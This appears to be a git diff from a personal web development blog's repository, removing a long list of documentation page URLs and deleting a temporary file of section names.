-https://bgoonz-blog.netlify.app/docs/overflow
-https://bgoonz-blog.netlify.app/docs/privacy-policy
-https://bgoonz-blog.netlify.app/docs/projects
-https://bgoonz-blog.netlify.app/docs/python
-https://bgoonz-blog.netlify.app/docs/quick-ref
-https://bgoonz-blog.netlify.app/docs/react
-https://bgoonz-blog.netlify.app/docs/reference
-https://bgoonz-blog.netlify.app/docs/sitemap
-https://bgoonz-blog.netlify.app/docs/sitemap-april
-https://bgoonz-blog.netlify.app/docs/tips
-https://bgoonz-blog.netlify.app/docs/tools
-https://bgoonz-blog.netlify.app/docs/tutorials
-https://bgoonz-blog.netlify.app/docs/about/eng-portfolio
-https://bgoonz-blog.netlify.app/docs/about/intrests
-https://bgoonz-blog.netlify.app/docs/about/job-search
-https://bgoonz-blog.netlify.app/docs/about/readme
-https://bgoonz-blog.netlify.app/docs/about/resume
-https://bgoonz-blog.netlify.app/docs/articles/basic-web-dev
-https://bgoonz-blog.netlify.app/docs/articles/buffers
-https://bgoonz-blog.netlify.app/docs/articles/common-modules
-https://bgoonz-blog.netlify.app/docs/articles/dev-dep
-https://bgoonz-blog.netlify.app/docs/articles/event-loop
-https://bgoonz-blog.netlify.app/docs/articles/fs-module
-https://bgoonz-blog.netlify.app/docs/articles/how-search-engines-work
-https://bgoonz-blog.netlify.app/docs/articles/how-the-web-works
-https://bgoonz-blog.netlify.app/docs/articles/intro
-https://bgoonz-blog.netlify.app/docs/articles/jamstack
-https://bgoonz-blog.netlify.app/docs/articles/nextjs
-https://bgoonz-blog.netlify.app/docs/articles/node-api-express
-https://bgoonz-blog.netlify.app/docs/articles/npm
-https://bgoonz-blog.netlify.app/docs/articles/os-module
-https://bgoonz-blog.netlify.app/docs/articles/reading-files
-https://bgoonz-blog.netlify.app/docs/articles/semantic
-https://bgoonz-blog.netlify.app/docs/articles/semantic-html
-https://bgoonz-blog.netlify.app/docs/articles/url
-https://bgoonz-blog.netlify.app/docs/articles/web-standards-checklist
-https://bgoonz-blog.netlify.app/docs/articles/webdev-tools
-https://bgoonz-blog.netlify.app/docs/articles/writing-files
-https://bgoonz-blog.netlify.app/docs/audio/dfft
-https://bgoonz-blog.netlify.app/docs/audio/discrete-fft
-https://bgoonz-blog.netlify.app/docs/audio/dtw-python-explained
-https://bgoonz-blog.netlify.app/docs/audio/dynamic-time-warping
-https://bgoonz-blog.netlify.app/docs/audio/web-audio-api
-https://bgoonz-blog.netlify.app/docs/career/job-boards
-https://bgoonz-blog.netlify.app/docs/career/my-websites
-https://bgoonz-blog.netlify.app/docs/career/projects
-https://bgoonz-blog.netlify.app/docs/community/an-open-letter-2-future-developers
-https://bgoonz-blog.netlify.app/docs/community/bookmarks
-https://bgoonz-blog.netlify.app/docs/community/video-chat
-https://bgoonz-blog.netlify.app/docs/content/algo
-https://bgoonz-blog.netlify.app/docs/content/archive
-https://bgoonz-blog.netlify.app/docs/content/data-structures-in-python
-https://bgoonz-blog.netlify.app/docs/content/gatsby-Queries-Mutations
-https://bgoonz-blog.netlify.app/docs/content/gists
-https://bgoonz-blog.netlify.app/docs/content/history-api
-https://bgoonz-blog.netlify.app/docs/content/main-projects
-https://bgoonz-blog.netlify.app/docs/content/native-data-structures-in-js
-https://bgoonz-blog.netlify.app/docs/content/trouble-shooting
-https://bgoonz-blog.netlify.app/docs/docs/appendix
-https://bgoonz-blog.netlify.app/docs/docs/bash
-https://bgoonz-blog.netlify.app/docs/docs/css
-https://bgoonz-blog.netlify.app/docs/docs/es-6-features
-https://bgoonz-blog.netlify.app/docs/docs/git-reference
-https://bgoonz-blog.netlify.app/docs/docs/git-repos
-https://bgoonz-blog.netlify.app/docs/docs/glossary
-https://bgoonz-blog.netlify.app/docs/docs/html-tags
-https://bgoonz-blog.netlify.app/docs/docs/markdown
-https://bgoonz-blog.netlify.app/docs/docs/no-whiteboarding
-https://bgoonz-blog.netlify.app/docs/docs/node-docs-complete
-https://bgoonz-blog.netlify.app/docs/docs/regex-in-js
-https://bgoonz-blog.netlify.app/docs/docs/sitemap
-https://bgoonz-blog.netlify.app/docs/ds-algo/big-o
-https://bgoonz-blog.netlify.app/docs/ds-algo/data-structures-docs
-https://bgoonz-blog.netlify.app/docs/ds-algo/ds-algo-interview
-https://bgoonz-blog.netlify.app/docs/ds-algo/ds-by-example
-https://bgoonz-blog.netlify.app/docs/ds-algo/ds-overview
-https://bgoonz-blog.netlify.app/docs/ds-algo/free-code-camp
-https://bgoonz-blog.netlify.app/docs/ds-algo/graph
-https://bgoonz-blog.netlify.app/docs/ds-algo/heaps
-https://bgoonz-blog.netlify.app/docs/ds-algo/tree
-https://bgoonz-blog.netlify.app/docs/faq/contact
-https://bgoonz-blog.netlify.app/docs/faq/plug-ins
-https://bgoonz-blog.netlify.app/docs/git/git-cheatsheet
-https://bgoonz-blog.netlify.app/docs/glossary/folders-in-npm
-https://bgoonz-blog.netlify.app/docs/glossary/mathfloor
-https://bgoonz-blog.netlify.app/docs/interact/callstack-visual
-https://bgoonz-blog.netlify.app/docs/interact/clock
-https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks
-https://bgoonz-blog.netlify.app/docs/interact/other-sites
-https://bgoonz-blog.netlify.app/docs/interact/react-testing-library
-https://bgoonz-blog.netlify.app/docs/interact/video-chat
-https://bgoonz-blog.netlify.app/docs/javascript/arrow-functions
-https://bgoonz-blog.netlify.app/docs/javascript/asyncjs
-https://bgoonz-blog.netlify.app/docs/javascript/await-keyword
-https://bgoonz-blog.netlify.app/docs/javascript/bigo
-https://bgoonz-blog.netlify.app/docs/javascript/clean-code
-https://bgoonz-blog.netlify.app/docs/javascript/constructor-functions
-https://bgoonz-blog.netlify.app/docs/javascript/cs-basics-in-js
-https://bgoonz-blog.netlify.app/docs/javascript/for-loops
-https://bgoonz-blog.netlify.app/docs/javascript/js-expressions
-https://bgoonz-blog.netlify.app/docs/javascript/js-objects
-https://bgoonz-blog.netlify.app/docs/javascript/part2-pojo
-https://bgoonz-blog.netlify.app/docs/javascript/promises
-https://bgoonz-blog.netlify.app/docs/javascript/review
-https://bgoonz-blog.netlify.app/docs/javascript/snippets
-https://bgoonz-blog.netlify.app/docs/javascript/this-is-about-this
-https://bgoonz-blog.netlify.app/docs/javascript/variables
-https://bgoonz-blog.netlify.app/docs/js-tips/abs
-https://bgoonz-blog.netlify.app/docs/js-tips/acos
-https://bgoonz-blog.netlify.app/docs/js-tips/acosh
-https://bgoonz-blog.netlify.app/docs/js-tips/addition
-https://bgoonz-blog.netlify.app/docs/js-tips/all
-https://bgoonz-blog.netlify.app/docs/js-tips/allsettled
-https://bgoonz-blog.netlify.app/docs/js-tips/any
-https://bgoonz-blog.netlify.app/docs/js-tips/array
-https://bgoonz-blog.netlify.app/docs/js-tips/array-methods
-https://bgoonz-blog.netlify.app/docs/js-tips/arrow_functions
-https://bgoonz-blog.netlify.app/docs/js-tips/async_function
-https://bgoonz-blog.netlify.app/docs/js-tips/bad_radix
-https://bgoonz-blog.netlify.app/docs/js-tips/bind
-https://bgoonz-blog.netlify.app/docs/js-tips/classes
-https://bgoonz-blog.netlify.app/docs/js-tips/concat
-https://bgoonz-blog.netlify.app/docs/js-tips/conditional_operator
-https://bgoonz-blog.netlify.app/docs/js-tips/const
-https://bgoonz-blog.netlify.app/docs/js-tips/create
-https://bgoonz-blog.netlify.app/docs/js-tips/date
-https://bgoonz-blog.netlify.app/docs/js-tips/eval
-https://bgoonz-blog.netlify.app/docs/js-tips/every
-https://bgoonz-blog.netlify.app/docs/js-tips/filter
-https://bgoonz-blog.netlify.app/docs/js-tips/for...of
-https://bgoonz-blog.netlify.app/docs/js-tips/foreach
-https://bgoonz-blog.netlify.app/docs/js-tips/functions
-https://bgoonz-blog.netlify.app/docs/js-tips/import
-https://bgoonz-blog.netlify.app/docs/js-tips/insert-into-array
-https://bgoonz-blog.netlify.app/docs/js-tips/map
-https://bgoonz-blog.netlify.app/docs/js-tips/object
-https://bgoonz-blog.netlify.app/docs/js-tips/reduce
-https://bgoonz-blog.netlify.app/docs/js-tips/regexp
-https://bgoonz-blog.netlify.app/docs/js-tips/sort
-https://bgoonz-blog.netlify.app/docs/js-tips/sorting-strings
-https://bgoonz-blog.netlify.app/docs/js-tips/string
-https://bgoonz-blog.netlify.app/docs/js-tips/this
-https://bgoonz-blog.netlify.app/docs/js-tips/var
-https://bgoonz-blog.netlify.app/docs/leetcode/ContaineWitMosWater
-https://bgoonz-blog.netlify.app/docs/leetcode/DividTwIntegers
-https://bgoonz-blog.netlify.app/docs/leetcode/GeneratParentheses
-https://bgoonz-blog.netlify.app/docs/leetcode/LetteCombinationoPhonNumber
-https://bgoonz-blog.netlify.app/docs/leetcode/LongesCommoPrefix
-https://bgoonz-blog.netlify.app/docs/leetcode/MediaoTwSorteArrays
-https://bgoonz-blog.netlify.app/docs/leetcode/NexPermutation
-https://bgoonz-blog.netlify.app/docs/leetcode/PalindromNumber
-https://bgoonz-blog.netlify.app/docs/leetcode/RegulaExpressioMatching
-https://bgoonz-blog.netlify.app/docs/leetcode/RemovDuplicatefroSorteArray
-https://bgoonz-blog.netlify.app/docs/leetcode/RemovNtNodFroEnoList
-https://bgoonz-blog.netlify.app/docs/leetcode/RomatInteger
-https://bgoonz-blog.netlify.app/docs/leetcode/SearciRotateSorteArray
-https://bgoonz-blog.netlify.app/docs/leetcode/StrintIntege(atoi)
-https://bgoonz-blog.netlify.app/docs/leetcode/ValiParentheses
-https://bgoonz-blog.netlify.app/docs/leetcode/ZigZaConversion
-https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/jamstack-templates
-https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/serverlessjs
-https://bgoonz-blog.netlify.app/docs/overflow/html-spec
-https://bgoonz-blog.netlify.app/docs/overflow/http
-https://bgoonz-blog.netlify.app/docs/overflow/install
-https://bgoonz-blog.netlify.app/docs/overflow/modules
-https://bgoonz-blog.netlify.app/docs/overflow/node-cli-args
-https://bgoonz-blog.netlify.app/docs/overflow/node-js-language
-https://bgoonz-blog.netlify.app/docs/overflow/node-package-manager
-https://bgoonz-blog.netlify.app/docs/overflow/node-repl
-https://bgoonz-blog.netlify.app/docs/overflow/node-run-cli
-https://bgoonz-blog.netlify.app/docs/overflow/nodejs
-https://bgoonz-blog.netlify.app/docs/overflow/nodevsbrowser
-https://bgoonz-blog.netlify.app/docs/overflow/understanding-firebase
-https://bgoonz-blog.netlify.app/docs/overflow/v8
-https://bgoonz-blog.netlify.app/docs/projects/archive
-https://bgoonz-blog.netlify.app/docs/projects/mini-projects
-https://bgoonz-blog.netlify.app/docs/projects/mini-projects2
-https://bgoonz-blog.netlify.app/docs/projects/recent
-https://bgoonz-blog.netlify.app/docs/python/at-length
-https://bgoonz-blog.netlify.app/docs/python/cheat-sheet
-https://bgoonz-blog.netlify.app/docs/python/comprehensive-guide
-https://bgoonz-blog.netlify.app/docs/python/examples
-https://bgoonz-blog.netlify.app/docs/python/flow-control
-https://bgoonz-blog.netlify.app/docs/python/functions
-https://bgoonz-blog.netlify.app/docs/python/google-sheets-api
-https://bgoonz-blog.netlify.app/docs/python/intro-for-js-devs
-https://bgoonz-blog.netlify.app/docs/python/python-ds
-https://bgoonz-blog.netlify.app/docs/python/python-quiz
-https://bgoonz-blog.netlify.app/docs/python/snippets
-https://bgoonz-blog.netlify.app/docs/quick-ref/Emmet
-https://bgoonz-blog.netlify.app/docs/quick-ref/all-emojis
-https://bgoonz-blog.netlify.app/docs/quick-ref/create-react-app
-https://bgoonz-blog.netlify.app/docs/quick-ref/fetch
-https://bgoonz-blog.netlify.app/docs/quick-ref/git-bash
-https://bgoonz-blog.netlify.app/docs/quick-ref/git-tricks
-https://bgoonz-blog.netlify.app/docs/quick-ref/google-firebase
-https://bgoonz-blog.netlify.app/docs/quick-ref/heroku-error-codes
-https://bgoonz-blog.netlify.app/docs/quick-ref/installation
-https://bgoonz-blog.netlify.app/docs/quick-ref/markdown-dropdowns
-https://bgoonz-blog.netlify.app/docs/quick-ref/minifiction
-https://bgoonz-blog.netlify.app/docs/quick-ref/new-repo-instructions
-https://bgoonz-blog.netlify.app/docs/quick-ref/pull-request-rubric
-https://bgoonz-blog.netlify.app/docs/quick-ref/quick-links
-https://bgoonz-blog.netlify.app/docs/quick-ref/topRepos
-https://bgoonz-blog.netlify.app/docs/quick-ref/understanding-path
-https://bgoonz-blog.netlify.app/docs/quick-ref/vscode-themes
-https://bgoonz-blog.netlify.app/docs/react/accessibility
-https://bgoonz-blog.netlify.app/docs/react/ajax-n-apis
-https://bgoonz-blog.netlify.app/docs/react/cheatsheet
-https://bgoonz-blog.netlify.app/docs/react/complete-react
-https://bgoonz-blog.netlify.app/docs/react/createReactApp
-https://bgoonz-blog.netlify.app/docs/react/demo
-https://bgoonz-blog.netlify.app/docs/react/dont-use-index-as-keys
-https://bgoonz-blog.netlify.app/docs/react/jsx
-https://bgoonz-blog.netlify.app/docs/react/quiz
-https://bgoonz-blog.netlify.app/docs/react/react-docs
-https://bgoonz-blog.netlify.app/docs/react/react-in-depth
-https://bgoonz-blog.netlify.app/docs/react/react-patterns-by-usecase
-https://bgoonz-blog.netlify.app/docs/react/react2
-https://bgoonz-blog.netlify.app/docs/react/render-elements
-https://bgoonz-blog.netlify.app/docs/reference/art-of-command-line
-https://bgoonz-blog.netlify.app/docs/reference/awesome-lists
-https://bgoonz-blog.netlify.app/docs/reference/awesome-nodejs
-https://bgoonz-blog.netlify.app/docs/reference/awesome-static
-https://bgoonz-blog.netlify.app/docs/reference/bash-commands
-https://bgoonz-blog.netlify.app/docs/reference/bookmarks
-https://bgoonz-blog.netlify.app/docs/reference/embed-the-web
-https://bgoonz-blog.netlify.app/docs/reference/github-resources
-https://bgoonz-blog.netlify.app/docs/reference/github-search
-https://bgoonz-blog.netlify.app/docs/reference/google-cloud
-https://bgoonz-blog.netlify.app/docs/reference/how-2-reinstall-npm
-https://bgoonz-blog.netlify.app/docs/reference/how-to-kill-a-process
-https://bgoonz-blog.netlify.app/docs/reference/installing-node
-https://bgoonz-blog.netlify.app/docs/reference/intro-to-nodejs
-https://bgoonz-blog.netlify.app/docs/reference/markdown-styleguide
-https://bgoonz-blog.netlify.app/docs/reference/notes-template
-https://bgoonz-blog.netlify.app/docs/reference/psql
-https://bgoonz-blog.netlify.app/docs/reference/resources
-https://bgoonz-blog.netlify.app/docs/reference/vscode
-https://bgoonz-blog.netlify.app/docs/reference/web-api's
-https://bgoonz-blog.netlify.app/docs/tips/7-tips-to-become-a-better-web-developer
-https://bgoonz-blog.netlify.app/docs/tips/regex-tips
-https://bgoonz-blog.netlify.app/docs/tips/storybook
-https://bgoonz-blog.netlify.app/docs/tools/dev-utilities
-https://bgoonz-blog.netlify.app/docs/tools/markdown-html
-https://bgoonz-blog.netlify.app/docs/tutorials/algolia-search
-https://bgoonz-blog.netlify.app/docs/tutorials/bash
-https://bgoonz-blog.netlify.app/docs/tutorials/bash-commands-my
-https://bgoonz-blog.netlify.app/docs/tutorials/effect-hook
-https://bgoonz-blog.netlify.app/docs/tutorials/get-file-extension
-https://bgoonz-blog.netlify.app/docs/tutorials/how-2-ubuntu
-https://bgoonz-blog.netlify.app/docs/tutorials/psql-setup
-https://bgoonz-blog.netlify.app/docs/projects/archive/embeded-websites
diff --git a/temp2.md b/temp2.md
deleted file mode 100644
index 6d0f94b46a..0000000000
--- a/temp2.md
+++ /dev/null
@@ -1,29 +0,0 @@
-    - about
-    - archive
-    - articles
-    - audio
-    - career
-    - community
-    - content
-    - css
-    - docs
-    - ds-algo
-    - faq
-    - fetch-api
-    - git
-    - interact
-    - javascript
-    - js-tips
-    - leetcode
-    - netlify-cms-jamstack
-    - overflow
-    - projects
-    - python
-    - quick-ref
-    - react
-    - reference
-    - tips
-    - tools
-    - tutorials
-    - typescript
-    -